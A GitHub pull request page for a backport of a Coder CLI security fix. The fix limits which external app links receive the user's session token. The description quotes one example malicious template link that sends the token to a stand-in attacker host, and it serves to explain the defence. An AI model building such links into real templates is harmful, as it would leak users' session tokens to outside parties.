Repository navigation
fix: only add the session token to trusted app links in coder open app (#31721) - #31796
Merged
Merged
Conversation
#31721) `coder open app` filled in `$SESSION_TOKEN` for every external app defined in a template, wherever the link pointed. Since #31208 the dashboard only does that when the link opens a known Coder IDE handler and its `url` param is this deployment, so a template app like `vscode://coder.coder-remote/open?url=https://attacker.example&token=$SESSION_TOKEN` was blocked in the dashboard but still got the token from the CLI. This ports the same check to the CLI. A link is trusted when its `url` matches the URL the CLI is logged in to or the deployment's dashboard URL from build info. Links that fail the check are printed with a warning and not opened, the same way sub-agent apps with the placeholder already are. The Go check mirrors `isSessionTokenDestinationTrusted` in `site/src/modules/apps/apps.ts` and the unit tests reuse its cases. Params are parsed like `URLSearchParams`, which is what the IDE extensions use. Where Go can't match the browser exactly, the CLI rejects the link instead: non-ASCII hosts (browsers map them through IDNA) and invalid percent escapes. Heads up that template apps the dashboard already blocks will now stop getting a token from `coder open app` too. This also adds a short section to the template apps docs on when external app links get a session token, since that wasn't documented for the dashboard either. Fixes CLI-57 Follow-up to CORE-783: https://linear.app/codercom/issue/CORE-783/security-coordinate-backend-validation-for-session-token-app-url 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com> (cherry picked from commit 34a14cb)
denisra
approved these changes
Nov 9, 2026
This was referenced Nov 12, 2026
bpmct
pushed a commit
that referenced
this pull request
Nov 12, 2026
) The 2.39 docs at coder.com/docs/v2.39 haven't updated since 2026-11-09: every hourly publish of `release/2.39` since 21:23 UTC that day has failed, 92 runs and counting. The docs sync builds 2.39 strictly and stops on one broken link: ``` DocSyncError: docs sync found 1 blocking issue group(s): 1 inter-doc link(s) resolve to no synced page: admin/templates/extending-templates/index.md -> admin/workspaces/devcontainers/customizing-dev-containers.md ``` The backport in #31796 (`1b0fab74f6`) carried over `main`'s link to `admin/workspaces/devcontainers/customizing-dev-containers.md`, but on 2.39 that page still lives at `user-guides/devcontainers/customizing-dev-containers.md`. This points the link there. It also unblocks #32122's Agent Relay docs, which merged into `release/2.39` today and can't publish until this lands. Testing: I ran the docs-engine sync in single-version publish mode against `release/2.39` before and after this change. Before, it reported the one unmapped link above; after, it reports none (495 pages, 330 images). The new target has a route in 2.39's `docs/manifest.json`, and the relative path resolves from the source file. --- 🤖 Built with AI assistance.
nickvigilante
added a commit
that referenced
this pull request
Nov 18, 2026
The docs link check (Linkspector, in `weekly-docs.yaml`) only runs on pull requests to `main`, and its weekly scheduled run only checks `main`. Pull requests to `release/**` never get it. That let #31796, a backport to `release/2.39`, merge with a link to `admin/workspaces/devcontainers/customizing-dev-containers.md`, `main`'s layout for that page; on 2.39 the page is still under `user-guides/devcontainers/`. No check flagged it, and the docs publish has refused to build 2.39 since 2026-11-09 because of it. This adds `release/**` to the `pull_request` branches, so the same check runs on backports. On pull requests Linkspector only checks the Markdown files the PR changes (`filter_mode: file`), so a backport pays only for its own files. The Slack notification still fires only for the scheduled run. A pull request runs the workflow from the branch it targets, so this only takes effect on a release branch once it's backported there. It should be cherry-picked to each release branch that still takes docs backports (at least 2.39, 2.38 and 2.37). `actionlint` reports the workflow clean. --- 🤖 Built with AI assistance.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Backport of #31721
Original PR: #31721 — fix: only add the session token to trusted app links in coder open app
Merge commit: 34a14cb
Requested by: @dylanhuff-at-coder